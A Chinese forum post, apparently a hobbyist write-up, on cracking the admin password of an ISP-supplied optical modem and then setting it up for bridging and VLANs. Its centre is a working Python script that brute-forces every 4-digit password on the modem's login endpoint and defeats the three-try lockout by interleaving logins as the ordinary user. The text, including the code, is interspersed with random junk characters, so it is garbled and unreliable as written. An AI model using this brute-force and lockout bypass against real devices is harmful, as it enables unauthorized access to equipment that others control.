坐标 029 ,最近拉了条陕西广电的 IPTV ,随线路还有一条 300M 宽带,想着可以做做联通 1000M 线路的冗余备份,顺便能折腾下陕西广电的组播源,毕竟广电的频道数量和码率吊打陕西联通。陕西联通 IPTV 就是个渣渣,频道少码率差不说,还不是单独组播线路,直播点播统统占我带宽。 然而广电小哥拉完线路调测完并不肯告诉我光猫超级密码,这必须不能忍。网上找了一圈发现古早 B1 、B2 版本的方法在 B3 光猫跟前统统不能用,但受到之前方法的启发,发现光猫上报配置之后依然会将 useradmin 的超级密码更改为随机 4 位数字的弱密码,那就很容易穷举出来。所以思路和 B2 版本一致,但 B2 判断登陆成功与否的方式在 B3 版本上已不适用。 通过抓包发现 B3 版本的光猫在登陆成功后会有个 302 重定向,并且尝试 3 次登陆失败后会有一个 180 秒的锁定时间,但在 3 次尝试中只要有一次正常的登陆就可以重置这个计数器。 所以总结一下思路: - 抓包分析登陆动作实现逻辑及 URL
- useradmin 的密码从 0000 开始尝试至 9999 ,通过判断是否有 302 响应确定登陆成功与否
- 为防止 3 次登陆锁定,需要每尝试 2 次之后成功登陆一下 user 普通用户重置计数器4 K( U4 x4 O2 h. R
根据以上思路随便写了段 python ,以下代码: - import requests @8 P, C8 {( c# E$ c& y* ?
- from bs4 import BeautifulSoup
t7 x- [2 w N6 z8 S - import re6 X4 B% Z, x. r' x( w4 v1 E9 Z
8 z' }2 y4 s3 O" R4 } c) ]- for i in range(10000):5 ^( X$ x2 {/ c+ {% @
- User_Agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"* A& |, v I) r
- - _) `7 K* z1 _/ _. `! }5 M- [
- headers = {"User-Agent": User_Agent}/ H Y1 k, {' B- W! J
- session = requests.Session()
, P' O1 l; [( `; \/ f
/ a9 `/ I1 D G1 J( G- response = session.get("http://192.168.1.1")
- M# z4 J. B- @, P - cookies = session.cookies
8 F3 J' N+ i% e8 y, N
5 K: ]( f' _4 P& G$ \, U! j6 ?* Z- login_url = "http://192.168.1.1/boaform/admin/formLogin"
, S0 e c0 ?. Z/ m/ Z0 a - if (i % 2 == 1 or i == 0):3 o- f" Y, R- i4 W s. C5 I, ]
- # 防止密码错误次数到达上限,*替换成自己光猫的 user 密码$ [- ]3 o0 _4 x" r) ?
- login_data = {"username": "user", "psd": "********", "login_in": "%B5%C7%C2%BC"}! s: c8 a3 m: |/ U6 H7 S7 _
- session.post(login_url, login_data, allow_redirects=False)
" A+ N6 ?/ c# z1 U. g9 K - logout_url = "http://192.168.1.1/boaform/admin/formLogout"' }5 V/ z2 z9 @4 b; T
- session.post(logout_url, allow_redirects=False)$ f5 q3 l7 U& H0 a
- # 尝试以 useradmin 及 4 位数字密码登陆
2 Y$ b* Z7 M9 \ S( k1 J. Z" x! S - login_data = {"username": "useradmin", "psd": "{:04d}".format(i), "login_in": "%B5%C7%C2%BC"}2 t( h3 A$ s5 J3 O8 W
- res = session.post(login_url, login_data, allow_redirects=False)4 k/ W3 E- _# h; ~& X' r. \. w
, e* b N: ]% i$ b2 s. r- # 检查是否有 302 重定向 c7 t5 x# X) b) H* F# Q
- if res.status_code == 302:
- y: U3 e2 J( ~! D* C4 ~ - print("Login succeeded with password:", "{:04d}".format(i))
& d0 n& j! e) Y; L4 }' n. H0 f& ?$ b - break
7 ?6 {& r6 V# X$ T/ N" N+ m - else:
5 S. X9 b' S6 P$ r8 r; W( g - print("Login failed for password:", "{:04d}".format(i))
复制代码懒得优化了,能跑就行
. m+ L7 J4 a$ H4 k e
( u$ a1 P# s# z4 w. C
然而我这个随机密码居然是 9 开头 4 位数,以至于我一度认为脚本有问题。。。。
$ g* \9 i& Y/ `! O+ d0 X2 Y尝试登陆一下
2 H$ k! Z) e. n, h( d
这下看起来舒服多了,随手翻翻 WAN 线路配置1 l& F. J( t6 O! j8 I
2 o4 _. _- n9 h$ t& Y6 j5 l
vlan44 宽带,vlan45 iptv ,顺手想改个桥接,正苦于哪找 pppoe 签权信息,发现广电这个大善人居然就在页面上写着:
6 H& W& V9 D x/ a1 U
( s) l6 R9 `# N( {( T
那就不客气了,必须桥接走起
. N, z) g9 Y% E% G( S; q7 `
6 H9 b$ u8 I% D, @" N
; f2 Y* P0 Z* O
光猫里找了一圈并没找到 vlan mapping 的配置,总不能再拉根线到电视柜啊?
S& O1 ^5 F( g. U: B+ h3 U: @( i/ l那就进后台翻翻看配置藏哪了! y) d3 E3 O8 L/ `# ]# U
6 o$ O* f2 G4 G3 X& S- _7 P
还真给翻到了; V2 o, o" Q+ M
. k4 U8 F% _$ k
那不客气了,vlan 号懒得改就随手用它的,反正屋里多这俩也不冲突。/ P! e* m8 m! I6 l. D8 D0 z
广电盒子划 vlan45 里,接电视一切正常。
- F4 D H- N9 n& D, W& _300M 宽带聊胜于无,写个冗余留给 wireguard ,ros 里新起个 vrf ,AC 里绑个无线没密码限速 8M 给隔壁小孩谋谋福利。
. u) e0 [ P5 b9 W+ ?% s iptv 组播源改天再折腾吧
& H9 ^$ r1 u# E* ~PS.iptv vlan45 要有 dhcp option60 才能拿到地址。陕西广电 option60 居然是'600831STB',呵呵。。
& a4 K/ `% O' x5 v7 I 5 }% O7 D. v: V! i; G
以上,有陕西广电的兄弟可以参考一下。
) _+ S1 n5 }7 c, I1 R$ R7 t : r! b1 D. t% r) T' y: _. L- Z1 n
|